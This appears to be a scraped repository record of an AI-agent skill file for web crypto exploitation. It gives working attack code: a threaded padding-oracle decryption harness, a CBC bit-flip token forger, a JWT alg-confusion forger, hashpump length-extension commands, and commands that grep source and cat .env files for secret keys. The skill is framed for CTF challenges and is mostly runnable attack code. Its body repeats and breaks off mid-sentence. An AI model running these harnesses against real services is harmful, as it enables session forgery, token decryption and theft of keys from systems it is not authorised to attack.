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Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcrypto\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: crypto\ndescription: \"Web crypto exploitation — padding-oracle (Vaudenay), AES-CBC bit-flipping \u002F IV manipulation, AES-ECB pattern attacks (cut-and-paste, prefix\u002Fsuffix recovery), HMAC bypass, hash-length extension, JWT alg confusion. Covers detection signals, working in-file Python harnesses (concurrent.futures, timeout=5, python3 -u, bounded request budget), and the confirm-oracle gate that must fire before iteration.\"\nmetadata:\n  subdomain: web-exploitation\n  mitre_attack: T1190\n  when_to_use: \"padding oracle, Vaudenay, padding-oracle attack, CBC, AES-CBC, AES-ECB, ECB pattern, ECB block substitution, cut-and-paste, bit-flipping, IV manipulation, HMAC bypass, hash-length extension, length extension, MD5 length extension, SHA1 length extension, JWT alg confusion, JWT none, JWT alg=none, base64 cookie, encrypted cookie, encrypted token, captcha, encrypted captcha, crypto challenge, cipher\"\n---\n\n# Web Crypto Exploitation\n\nExploits applications that misuse symmetric ciphers (CBC\u002FECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: **find the oracle, prove the oracle is real, then iterate within a hard request budget**. Without the proven oracle the attack burns the cycle.\n\n## Step 0 — Key Discovery (Do Before ANY Network Attack)\n\n**Check if the application key is hardcoded in source.** CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:\n\n```bash\n# Find app source in the workspace\nfind \u002Fworkspace -name \"*.py\" -o -name \"*.js\" -o -name \"*.rb\" -o -name \"*.php\" 2>\u002Fdev\u002Fnull | head -20\n\n# Grep for hardcoded keys\ngrep -rn 'AES_KEY\\|SECRET_KEY\\|key\\s*=\\s*[b'\"'\"'\"'\"'\"'\"'\"'\"']\\|password\\s*=' \u002Fworkspace\u002F*\u002Fapp\u002F 2>\u002Fdev\u002Fnull | head -20\n\n# Also check environment files\ncat \u002Fworkspace\u002F*\u002F.env 2>\u002Fdev\u002Fnull; cat \u002Fworkspace\u002F*\u002Fapp\u002F.env 2>\u002Fdev\u002Fnull\n```\n\n**If the key is found**, decrypt offline immediately — no oracle, no network requests:\n\n```python\nimport base64\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.primitives import padding as crypto_padding\n\nKEY = b'C' * 32  # replace with discovered key\ncookie = \"\u003Cbase64-cookie-from-browser>\"\n\nraw = base64.b64decode(cookie)\niv, ct = raw[:16], raw[16:]\ncipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))\npt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()\n# Remove PKCS7 padding\nunpadder = crypto_padding.PKCS7(128).unpadder()\nplaintext = unpadder.update(pt) + unpadder.finalize()\nprint(\"plaintext:\", plaintext)\n```\n\nOnly proceed to the oracle-based attack below if no key is found in source.\n\n## Recognition Signals\n\nTrigger this skill when ANY of the following are present:\n\n- **Base64 cookie \u002F token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES\u002F3DES)**. Length boundaries are the giveaway: `len(b64decode(token)) % 16 == 0` and not 32 or 48 → likely 1-2 blocks of CBC; `% 16 == 0` with 32-64 bytes → IV+ciphertext pattern.\n- **Distinct error responses for \"invalid padding\" vs \"invalid auth\u002Fdecryption\"**. Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle.\n- **JWT** in `Authorization: Bearer \u003Cthree-base64-segments-separated-by-dots>`. Always inspect `alg` header (`alg=none`, `alg=HS256` with public-key confusion, `alg=RS256→HS256` substitution).\n- **Repeated 16-byte ciphertext blocks** within a single token — direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates.\n- **Server returns separate encrypted blob + tag\u002FHMAC concatenated** — candidate for HMAC bypass \u002F hash-length extension if the MAC scheme is weak (e.g. `MD5(secret || message)`).\n- **Challenge tag** includes `crypto`, `cipher`, `oracle`, `captcha`, `encrypted_captcha`, `padding`, `hmac_bypass`, `jwt`, `length_extension`.\n\n## Confirm-Oracle Gate\n\n**STOP** — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.\n\n**Layout detection (run before the gate):** Decode the token and determine the IV\u002FCT layout. AES-CBC tokens always use `IV(16) || CT(16 * N)` — the first 16 bytes are always the IV. Confirm:\n\n```python\nimport base64\nraw = base64.b64decode(\"\u003CTOKEN>\")\nprint(f\"total bytes: {len(raw)}, blocks: {len(raw)\u002F\u002F16}\")\n# len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext)\n# len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext)\n# len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext)\n# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].\n```\n\n**Also identify the correct cookie\u002Fparameter name.** Check the response headers from a GET request to confirm the cookie name:\n\n```bash\ncurl -sv \"$TARGET\u002F\" 2>&1 | grep -i 'set-cookie'\n```\n\nUse that exact cookie name (e.g. `captcha`, `session`, `token`) in every subsequent request.\n\n```bash\ntimeout 60 python3 -u -c '\nimport base64, requests, sys\nURL = \"https:\u002F\u002F\u003CTARGET>\u002Fdecrypt\"\nTOKEN = \"\u003Cbase64-cookie-or-token-from-recon>\"\nct = bytearray(base64.b64decode(TOKEN))\n# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)\nflipped = bytearray(ct)\nflipped[-17] ^= 0x01\n# Probe B: completely random ciphertext (corrupts MAC\u002Fauth too, not just padding)\nimport os\nrandom_ct = bytearray(os.urandom(len(ct)))\n\nfor label, payload in [(\"flip-pad\", flipped), (\"random\", random_ct)]:\n    b64 = base64.b64encode(bytes(payload)).decode()\n    r = requests.get(URL, cookies={\"token\": b64}, timeout=5)\n    sys.stdout.write(f\"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\\n\")\n    sys.stdout.flush()\n' 2>&1 | tee oracle_gate.txt\n```\n\n**Pass criteria** (any one):\n- Status code differs between flip-pad and random.\n- Body length differs by ≥1 byte (after stripping timestamps).\n- Response body string differs in the leading 200 chars (e.g. \"Invalid padding\" vs \"Invalid token\").\n- Response time consistently differs by ≥50ms across 3 repeats (timing oracle — fragile, last resort).\n\nIf gate FAILS (no pass criterion met before the harness's outer `timeout` fires): the two failure modes are indistinguishable from the network — there is no oracle on this endpoint. Hand back to recon with \"no padding oracle observable on `\u003Cendpoint>`; check other endpoints or token sinks\".\n\nIf gate PASSES: continue with the targeted attack below. Capture the `flip-pad` and `random` responses as the oracle's \"VALID-PAD\" and \"INVALID\" templates.\n\n**Oracle predicate — generic formulation (critical):**\n\nThe oracle has exactly TWO observable states: \"padding valid\" and \"padding invalid.\" The INVALID state is the one consistent with fully-random ciphertext (your `random` probe above). Define your predicate as:\n\n```python\n# KNOWN_BAD = (status_code, body_prefix) from the random probe\nKNOWN_BAD = (r_random.status_code, r_random.text[:200])\n\ndef valid_pad(response):\n    return (response.status_code, response.text[:200]) != KNOWN_BAD\n```\n\n**Do NOT hardcode** `status == 403` or `\"Invalid padding\" in text` as your oracle check. Many Flask\u002FExpress apps raise uncaught exceptions (HTTP 500) when they successfully decrypt garbage plaintext that fails downstream processing (UTF-8 decode, JSON parse, session deserialization). These **500s ARE valid-pad signals** — they differ from the random-ciphertext response, so `valid_pad()` returns True correctly. If you hardcode the status check, you will treat 500s as failures and burn the entire request budget on byte positions that actually succeeded.\n\n## 1. Padding Oracle (Vaudenay) — Full Walkthrough\n\nDecrypt a CBC ciphertext one byte at a time by manipulating the previous block's bytes and asking the oracle whether the resulting padding is valid.\n\n```bash\ntimeout 600 python3 -u -c '\nimport base64, concurrent.futures, requests, sys, os\n\nURL = \"http:\u002F\u002F\u003CTARGET>\u002F\"          # adjust path\u002Fmethod to match the vulnerable endpoint\nTOKEN = \"\u003Cbase64-blob>\"           # base64 cookie value captured from recon\nCOOKIE_NAME = \"captcha\"          # use the EXACT cookie name from Set-Cookie header\nBLOCK = 16\nMAX_REQUESTS = 4096   # hard budget — abort if we hit it\n\n# Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first.\n# Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals.\nct = base64.b64decode(TOKEN)\nassert len(ct) % BLOCK == 0\nblocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)]\nsession = requests.Session()\nbudget = [MAX_REQUESTS]\n\n# Calibrate oracle: send fully-random ciphertext, record the response signature\n_rand = os.urandom(len(ct))\n_r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5)\nKNOWN_BAD = (_r.status_code, _r.text[:200])\nsys.stdout.write(f\"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\\n\"); sys.stdout.flush()\n\ndef is_valid_pad(forged_iv, target_block):\n    \"\"\"Returns True if oracle says padding is valid (response differs from KNOWN_BAD).\"\"\"\n    if budget[0] \u003C= 0:\n        raise RuntimeError(\"request budget exhausted\")\n    budget[0] -= 1\n    blob = base64.b64encode(forged_iv + target_block).decode()\n    r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5)\n    return (r.status_code, r.text[:200]) != KNOWN_BAD\n\ndef crack_block(prev, target):\n    \"\"\"Recover plaintext of `target` by manipulating `prev`.\"\"\"\n    intermediate = bytearray(BLOCK)\n    for byte_idx in range(BLOCK - 1, -1, -1):\n        pad_value = BLOCK - byte_idx\n        # Try every possible byte at byte_idx until oracle reports valid padding\n        forged = bytearray(BLOCK)\n        for k in range(byte_idx + 1, BLOCK):\n            forged[k] = intermediate[k] ^ pad_value\n        # Parallelize the 256-byte search (bounded workers)\n        with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:\n            futures = {}\n            for guess in range(256):\n                f = bytearray(forged)\n                f[byte_idx] = guess\n                futures[ex.submit(is_valid_pad, bytes(f), target)] = guess\n            for fut in concurrent.futures.as_completed(futures):\n                if fut.result():\n                    intermediate[byte_idx] = futures[fut] ^ pad_value\n                    break\n            else:\n                raise RuntimeError(f\"no valid pad found at block byte_idx={byte_idx}\")\n    plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK))\n    return plaintext\n\nrecovered = b\"\"\n# block 0 is the IV; decrypt blocks 1..N using their predecessors as \"prev\"\nfor i in range(1, len(blocks)):\n    sys.stdout.write(f\"=== decrypting block {i} (budget left {budget[0]}) ===\\n\")\n    sys.stdout.flush()\n    pt = crack_block(blocks[i-1], blocks[i])\n    sys.stdout.write(f\"block {i} plaintext: {pt!r}\\n\")\n    sys.stdout.flush()\n    recovered += pt\n\nsys.stdout.write(f\"=== full plaintext: {recovered!r} ===\\n\")\n' 2>&1 | tee padding_oracle.txt\n```\n\n**Request budget per block**: 16 bytes × 256 guesses = 4096 requests worst case (this is the algorithm's hard upper bound for one CBC block under Vaudenay; not a tunable). Parallelism reduces wall-clock but does not reduce the request count. Do NOT push `max_workers` past the sandbox throttling threshold (around 32 — higher values trigger rate-limit WAF rules and crash the single-threaded dev servers most CTF challenges use).\n\n**First-block verification**: the FIRST plaintext block is the diagnostic — if it has not returned after a reasonable harness run AND the request budget has not yet been exhausted, KILL the harness and revisit:\n- Is the oracle predicate right? Print `KNOWN_BAD` and a few live responses — verify `(status, body[:200]) != KNOWN_BAD` fires on valid-pad cases.\n- Is parallelism throttled by the server (rate limit, WAF, session lock)? Drop `max_workers` to 4 and rerun.\n- Is the budget exhausted before any block? Increase `MAX_REQUESTS`, or accept this server is too slow and switch to a non-oracle attack.\n\n## 2. CBC Bit-Flipping\n\nWhen the application decrypts CBC and trusts the plaintext (e.g. role flag in a cookie), flipping bytes in block N's ciphertext flips the same bytes in block N+1's plaintext (block N+1 itself is corrupted to garbage).\n\n```python\n# Known plaintext at position i → desired plaintext at position i.\n# Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i]\nimport base64\nTOKEN = \"\u003Cbase64>\"\nct = bytearray(base64.b64decode(TOKEN))\n# E.g. flip \"user=guest\" → \"user=admin\" inside block 1, byte 5\nKNOWN, DESIRED = b\"guest\", b\"admin\"\nfor i in range(min(len(KNOWN), len(DESIRED))):\n    ct[i + 5] ^= KNOWN[i] ^ DESIRED[i]\nprint(base64.b64encode(bytes(ct)).decode())\n```\n\nBlock N is destroyed by the flip — make sure block N's plaintext is one the application doesn't sanity-check (e.g. timestamp \u002F nonce that's never read).\n\n## 3. AES-ECB Attacks\n\n### Pattern detection\nTwo identical 16-byte plaintext blocks produce two identical 16-byte ciphertext blocks under ECB. Detect:\n\n```python\nimport base64\nct = base64.b64decode(\"\u003CTOKEN>\")\nblocks = [ct[i:i+16] for i in range(0, len(ct), 16)]\nprint(\"blocks:\", len(blocks), \"unique:\", len(set(blocks)))\n# unique \u003C total → ECB confirmed\n```\n\n### Cut-and-paste\n\nIf the application encrypts `\u003Cattacker-controlled prefix> | \u003Cuser-data> | \u003Csuffix>` under ECB and lets the attacker register\u002Flogin multiple times, you can capture aligned blocks containing chosen plaintext (e.g. `admin\\x0b\\x0b\\x0b...`) and splice them into another user's token.\n\n```python\n# 1. Register a user whose name positions \"admin\" + valid PKCS7 padding into a clean block.\n# 2. Capture that ciphertext block.\n# 3. Register a normal user. Capture their token.\n# 4. Replace the block holding \"user\" with the block holding \"admin\".\n# 5. Submit forged token.\n```\n\n### Prefix\u002Fsuffix recovery\n\nIf you can prepend bytes to a secret suffix (e.g. flag) that the server encrypts under ECB:\n\n1. Find block size: vary prefix length, watch for first response-length jump of `BLOCK_SIZE`.\n2. Per byte: send `\"A\"*(BLOCK_SIZE-1)`, capture block, then for each `g in 0..255` send `\"A\"*(BLOCK_SIZE-1) + g`, compare blocks — match reveals the byte.\n3. Slide the prefix one byte left and repeat until the secret is exhausted.\n\n## 4. HMAC \u002F Signature Bypass\n\n### Hash-length extension\n\nIf the MAC is `MD5(secret || message)` or `SHA1(secret || message)` (no HMAC construction), and you know `len(secret) + len(message)` and the MAC, you can append data and compute a valid MAC without knowing the secret. Tooling: `hashpump` or `hash-length-attack` (Python).\n\n```bash\n# hashpump: append \"&admin=true\" to a signed message\nhashpump -s \u003Corig_mac> -d \"\u003Corig_message>\" -k \u003Csecret_len_guess> -a \"&admin=true\"\n```\n\n### JWT alg confusion\n\n- **`alg=none`**: strip signature, set header `{\"alg\":\"none\",\"typ\":\"JWT\"}`, set payload, send `\u003Cheader>.\u003Cpayload>.` (empty signature). Many libraries accept it.\n- **`alg=HS256` w\u002F public-key confusion**: server uses `verify(token, public_key)`. Re-sign the token with HMAC-SHA256 keyed by the server's RSA public key (PEM bytes). Same library now mistakes \"HS256\" for \"RS256\" verification using the public key as the HMAC key.\n- **`alg=RS256→HS256` substitution**: same as above — flip the alg header in the token.\n\n```python\nimport base64, hashlib, hmac, json\nHEADER = base64.urlsafe_b64encode(json.dumps({\"alg\":\"HS256\",\"typ\":\"JWT\"}).encode()).rstrip(b\"=\")\nPAYLOAD = base64.urlsafe_b64encode(json.dumps({\"user\":\"admin\"}).encode()).rstrip(b\"=\")\nPUBKEY_PEM = open(\"server_public.pem\",\"rb\").read()\nsig = hmac.new(PUBKEY_PEM, HEADER + b\".\" + PAYLOAD, hashlib.sha256).digest()\nSIG = base64.urlsafe_b64encode(sig).rstrip(b\"=\")\nprint((HEADER + b\".\" + PAYLOAD + b\".\" + SIG).decode())\n```\n\n## Anti-Patterns (Do NOT)\n\n- **No unbounded loops** in oracle harnesses. Always set `MAX_REQUESTS` and abort when it hits zero. A misconfigured oracle template can run forever otherwise.\n- **No `python3 detector.py > \u002Ftmp\u002Flog 2>&1 &` + `tail -f`** — if tmux pipe degrades the tail returns nothing forever and you cannot tell whether the script is alive. Prefer inline `timeout 600 python3 -u -c '...' | tee log.txt`.\n- **No `while True: r = requests.get(...)`**. Wrap every loop with a max-iterations bound and break on success.\n- **Do not iterate variants before the confirm-oracle gate fires positive.** That single discipline rule eliminates the most common cycle burn on crypto challenges.\n- **Always `python3 -u`** for line-buffered stdout. Without it, you cannot tell live progress from a wedge.\n- **Bounded `max_workers`** on `concurrent.futures.ThreadPoolExecutor`. 16 is plenty for the 256-byte search; >32 triggers sandbox throttling and rate-limit WAF rules.\n- **Set `requests.Session()` timeout=5** on EVERY call (not just the gate).\n- **No mid-flight edits.** If a harness is producing byte-by-byte progress output, let it finish. If you need a follow-up step (e.g. submit the recovered plaintext), write a SEPARATE script that reads the output and submits it. Never `edit_file` on a script that is currently producing results — the restart loses intermediate state, generates a new challenge session (new captcha\u002Fcookie), and invalidates everything already recovered.\n- **Atomic pipeline.** Probe → decrypt → submit must all use the SAME session cookie in ONE script invocation. Do not split these into separate runs. A new GET request generates a new encrypted captcha — the old recovered plaintext will not match.\n- **Single-process discipline.** The target is typically a single-threaded dev server (Flask\u002FExpress). Running multiple concurrent oracle scripts WILL crash it. Before launching the padding oracle harness, kill ALL other Python scripts hitting the target: `pkill -f 'python3.*\u003Cport_or_target>' 2>\u002Fdev\u002Fnull`. One harness at a time.\n\n## Tooling Note\n\nIn sandbox: `python3` (with `requests`, `cryptography`, `pycryptodome`), `hashpump`, `openssl`. NO `padbuster.pl` (Perl is not installed). Build padding-oracle attacks with the harness above, not a third-party CLI.\n\n## Verification\n\nCrypto attacks are confirmed when:\n- **Padding oracle**: at least the FIRST plaintext block is recovered AND it is human-readable plaintext (cookie payload, session JSON, etc.). If block 1 returns garbage, the oracle template is wrong — KILL and re-derive.\n- **CBC bit-flip**: the forged token successfully impersonates the target role\u002Fuser (e.g. `\u002Fadmin` returns admin content) AND a baseline-unflipped token does NOT.\n- **ECB cut-and-paste**: the spliced token produces the privileged response on a fresh login (≥3 reproductions).\n- **JWT alg confusion**: the forged JWT is accepted on a privileged endpoint that rejects an unsigned\u002Fgarbage JWT.\n- **Hash-length extension**: appended fields are honored by the server (e.g. `admin=true` flips role) AND the MAC validates without the secret.\n\n## Output Files\n\n```\n.\u002F\n├── oracle_gate.txt                 # Confirm-oracle gate output (PASS\u002FFAIL evidence)\n├── padding_oracle.txt              # Vaudenay run log + recovered plaintext\n├── ecb_blocks_\u003Ctarget>.txt         # ECB block analysis (uniqueness, repeats)\n├── jwt_forged_\u003Ctarget>.txt         # Forged JWT + verification trace\n└── crypto_\u003Ctarget>_summary.md      # What was tried, gate result, evidence trail\n```\n","# Web Crypto Exploitation\n\nExploits applications that misuse symmetric ciphers (CBC\u002FECB), MACs (HMAC, hash-length extension), or token signers (JWT). The decisive trick is almost always: **find the oracle, prove the oracle is real, then iterate within a hard request budget**. Without the proven oracle the attack burns the cycle.\n\n## Step 0 — Key Discovery (Do Before ANY Network Attack)\n\n**Check if the application key is hardcoded in source.** CTF challenge apps frequently embed keys in source code. If you have filesystem access to the app, run this before any network probe:\n\n```bash\n# Find app source in the workspace\nfind \u002Fworkspace -name \"*.py\" -o -name \"*.js\" -o -name \"*.rb\" -o -name \"*.php\" 2>\u002Fdev\u002Fnull | head -20\n\n# Grep for hardcoded keys\ngrep -rn 'AES_KEY\\|SECRET_KEY\\|key\\s*=\\s*[b'\"'\"'\"'\"'\"'\"'\"'\"']\\|password\\s*=' \u002Fworkspace\u002F*\u002Fapp\u002F 2>\u002Fdev\u002Fnull | head -20\n\n# Also check environment files\ncat \u002Fworkspace\u002F*\u002F.env 2>\u002Fdev\u002Fnull; cat \u002Fworkspace\u002F*\u002Fapp\u002F.env 2>\u002Fdev\u002Fnull\n```\n\n**If the key is found**, decrypt offline immediately — no oracle, no network requests:\n\n```python\nimport base64\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.primitives import padding as crypto_padding\n\nKEY = b'C' * 32  # replace with discovered key\ncookie = \"\u003Cbase64-cookie-from-browser>\"\n\nraw = base64.b64decode(cookie)\niv, ct = raw[:16], raw[16:]\ncipher = Cipher(algorithms.AES(KEY), modes.CBC(iv))\npt = cipher.decryptor().update(ct) + cipher.decryptor().finalize()\n# Remove PKCS7 padding\nunpadder = crypto_padding.PKCS7(128).unpadder()\nplaintext = unpadder.update(pt) + unpadder.finalize()\nprint(\"plaintext:\", plaintext)\n```\n\nOnly proceed to the oracle-based attack below if no key is found in source.\n\n## Recognition Signals\n\nTrigger this skill when ANY of the following are present:\n\n- **Base64 cookie \u002F token whose decoded length is a multiple of 16 (AES-CBC) or 8 (DES\u002F3DES)**. Length boundaries are the giveaway: `len(b64decode(token)) % 16 == 0` and not 32 or 48 → likely 1-2 blocks of CBC; `% 16 == 0` with 32-64 bytes → IV+ciphertext pattern.\n- **Distinct error responses for \"invalid padding\" vs \"invalid auth\u002Fdecryption\"**. Status code, body, length, or even response time differences across the two failure modes ARE the oracle. If the two modes look identical, no oracle.\n- **JWT** in `Authorization: Bearer \u003Cthree-base64-segments-separated-by-dots>`. Always inspect `alg` header (`alg=none`, `alg=HS256` with public-key confusion, `alg=RS256→HS256` substitution).\n- **Repeated 16-byte ciphertext blocks** within a single token — direct ECB tell. Decode base64, slice into 16-byte blocks, look for duplicates.\n- **Server returns separate encrypted blob + tag\u002FHMAC concatenated** — candidate for HMAC bypass \u002F hash-length extension if the MAC scheme is weak (e.g. `MD5(secret || message)`).\n- **Challenge tag** includes `crypto`, `cipher`, `oracle`, `captcha`, `encrypted_captcha`, `padding`, `hmac_bypass`, `jwt`, `length_extension`.\n\n## Confirm-Oracle Gate\n\n**STOP** — before iterating any payload, prove the oracle is real. The single most common mis-allocation here is hammering thousands of padding-oracle requests against a server whose two error modes are actually identical. The gate is one in-file probe that issues exactly two requests and prints both responses side-by-side.\n\n**Layout detection (run before the gate):** Decode the token and determine the IV\u002FCT layout. AES-CBC tokens always use `IV(16) || CT(16 * N)` — the first 16 bytes are always the IV. Confirm:\n\n```python\nimport base64\nraw = base64.b64decode(\"\u003CTOKEN>\")\nprint(f\"total bytes: {len(raw)}, blocks: {len(raw)\u002F\u002F16}\")\n# len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext)\n# len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext)\n# len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext)\n# The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].\n```\n\n**Also identify the correct cookie\u002Fparameter name.** Check the response headers from a GET request to confirm the cookie name:\n\n```bash\ncurl -sv \"$TARGET\u002F\" 2>&1 | grep -i 'set-cookie'\n```\n\nUse that exact cookie name (e.g. `captcha`, `session`, `token`) in every subsequent request.\n\n```bash\ntimeout 60 python3 -u -c '\nimport base64, requests, sys\nURL = \"https:\u002F\u002F\u003CTARGET>\u002Fdecrypt\"\nTOKEN = \"\u003Cbase64-cookie-or-token-from-recon>\"\nct = bytearray(base64.b64decode(TOKEN))\n# Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block)\nflipped = bytearray(ct)\nflipped[-17] ^= 0x01\n# Probe B: completely random ciphertext (corrupts MAC\u002Fauth too, not just padding)\nimport os\nrandom_ct = bytearray(os.urandom(len(ct)))\n\nfor label, payload in [(\"flip-pad\", flipped), (\"random\", random_ct)]:\n    b64 = base64.b64encode(bytes(payload)).decode()\n    r = requests.get(URL, cookies={\"token\": b64}, timeout=5)\n    sys.stdout.write(f\"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\\n\")\n    sys.stdout.flush()\n' 2>&1 | tee oracle_gate.txt\n```\n\n**Pass criteria** (any one):\n- Status code differs between flip-pad and random.\n- Body length differs by ≥1 byte (after stripping timestamps).\n- Response body string differs in the leading 200 chars (e.g. \"Invalid padding\" vs \"Invalid token\").\n- Response time consistently differs by ≥50ms across 3 repeats (timing oracle — fragile, last resort).\n\nIf gate FAILS (no pass criterion met before the harness's outer `timeout` fires): the two failure modes are indistinguishable from the network — there is no oracle on this endpoint. Hand back to recon with \"no padding oracle observable on `\u003Cendpoint>`; check other endpoints or token sinks\".\n\nIf gate PASSES: continue with the targeted attack below. Capture the `flip-pad` and `random` responses as the oracle's \"VALID-PAD\" and \"INVALID\" templates.\n\n**Oracle predicate — generic formulation (critical):**\n\nThe oracle has exactly TWO observable states: \"padding valid\" and \"padding invalid.\" The INVALID state is the one consistent with fully-random ciphertext (your `random` probe above). Define your predicate as:\n\n```python\n# KNOWN_BAD = (status_code, body_prefix) from the random probe\nKNOWN_BAD = (r_random.status_code, r_random.text[:200])\n\ndef valid_pad(response):\n    return (response.status_code, response.text[:200]) != KNOWN_BAD\n```\n\n**Do NOT hardcode** `status == 403` or `\"Invalid padding\" in text` as your oracle check. Many Flask\u002FExpress apps raise uncaught exceptions (HTTP 500) when they successfully decrypt garbage plaintext that fails downstream processing (UTF-8 decode, JSON parse, session deserialization). These **500s ARE valid-pad signals** — they differ from the random-ciphertext response, so `valid_pad()` returns True correctly. If you hardcode the status check, you will treat 500s as failures and burn the entire request budget on byte positions that actually succeeded.\n\n## 1. Padding Oracle (Vaudenay) — Full Walkthrough\n\nDecrypt a CBC ciphertext one byte at a time by manipulating the previous block's bytes and asking the oracle whether the resulting padding is valid.\n\n```bash\ntimeout 600 python3 -u -c '\nimport base64, concurrent.futures, requests, sys, os\n\nURL = \"http:\u002F\u002F\u003CTARGET>\u002F\"          # adjust path\u002Fmethod to match the vulnerable endpoint\nTOKEN = \"\u003Cbase64-blob>\"           # base64 cookie value captured from recon\nCOOKIE_NAME = \"captcha\"          # use the EXACT cookie name from Set-Cookie header\nBLOCK = 16\nMAX_REQUESTS = 4096   # hard budget — abort if we hit it\n\n# Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first.\n# Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals.\nct = base64.b64decode(TOKEN)\nassert len(ct) % BLOCK == 0\nblocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)]\nsession = requests.Session()\nbudget = [MAX_REQUESTS]\n\n# Calibrate oracle: send fully-random ciphertext, record the response signature\n_rand = os.urandom(len(ct))\n_r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5)\nKNOWN_BAD = (_r.status_code, _r.text[:200])\nsys.stdout.write(f\"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\\n\"); sys.stdout.flush()\n\ndef is_valid_pad(forged_iv, target_block):\n    \"\"\"Returns True if oracle says padding is valid (response differs from KNOWN_BAD).\"\"\"\n    if budget[0] \u003C= 0:\n        raise RuntimeError(\"request budget exhausted\")\n    budget[0] -= 1\n    blob = base64.b64encode(forged_iv + target_block).decode()\n    r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5)\n    return (r.status_code, r.text[:200]) != KNOWN_BAD\n\ndef crack_block(prev, target):\n    \"\"\"Recover plaintext of `target` by manipulating `prev`.\"\"\"\n    intermediate = bytearray(BLOCK)\n    for byte_idx in range(BLOCK - 1, -1, -1):\n        pad_value = BLOCK - byte_idx\n        # Try every possible byte at byte_idx until oracle reports valid padding\n        forged = bytearray(BLOCK)\n        for k in range(byte_idx + 1, BLOCK):\n            forged[k] = intermediate[k] ^ pad_value\n        # Parallelize the 256-byte search (bounded workers)\n        with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:\n            futures = {}\n            for guess in range(256):\n                f = bytearray(forged)\n                f[byte_idx] = guess\n                futures[ex.submit(is_valid_pad, bytes(f), target)] = guess\n            for fut in concurrent.futures.as_completed(futures):\n                if fut.result():\n                    intermediate[byte_idx] = futures[fut] ^ pad_value\n                    break\n            else:\n                raise RuntimeError(f\"no valid pad found at block byte_idx={byte_idx}\")\n    plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK))\n    return plaintext\n\nrecovered = b\"\"\n# block 0 is the IV; decrypt blocks 1..N using their predecessors as \"prev\"\nfor i in range(1, len(blocks)):\n    sys.stdout.write(f\"=== decrypting block {i} (budget left {budget[0]}) ===\\n\")\n    sys.stdout.flush()\n    pt = crack_block(blocks[i-1], blocks[i])\n    sys.stdout.write(f\"block {i} plaintext: {pt!r}\\n\")\n    sys.stdout.flush()\n    recovered += pt\n\nsys.stdout.write(f\"=== full plaintext: {recovered!r} ===\\n\")\n' 2>&1 | tee padding_oracle.txt\n```\n\n**Request budget per block**: 16 bytes × 256 guesses = 4096 requests worst case (this is the algorithm's hard upper bound for one CBC block under Vaudenay; not a tunable). Parallelism reduces wall-clock but does not reduce the request count. Do NOT push `max_workers` past the sandbox throttling threshold (around 32 — higher values trigger rate-limit WAF rules and crash the single-threaded dev servers most CTF challenges use).\n\n**First-block verification**: the FIRST plaintext block is the diagnostic — if it has not returned after a reasonable harness run AND the request budget has not yet been exhausted, KILL the harness and revisit:\n- Is the oracle predicate right? Print `KNOWN_BAD` and a few live responses — verify `(status, body[:200]) != KNOWN_BAD` fires on valid-pad cases.\n- Is parallelism throttled by the server (rate limit, WAF, session lock)? Drop `max_workers` to 4 and rerun.\n- Is the budget exhausted before any block? Increase `MAX_REQUESTS`, or accept this server is too slow and switch to a non-oracle attack.\n\n## 2. CBC Bit-Flipping\n\nWhen the application decrypts CBC and trusts the plaintext (e.g. role flag in a cookie), flipping bytes in block N's ciphertext flips the same bytes in block N+1's plaintext 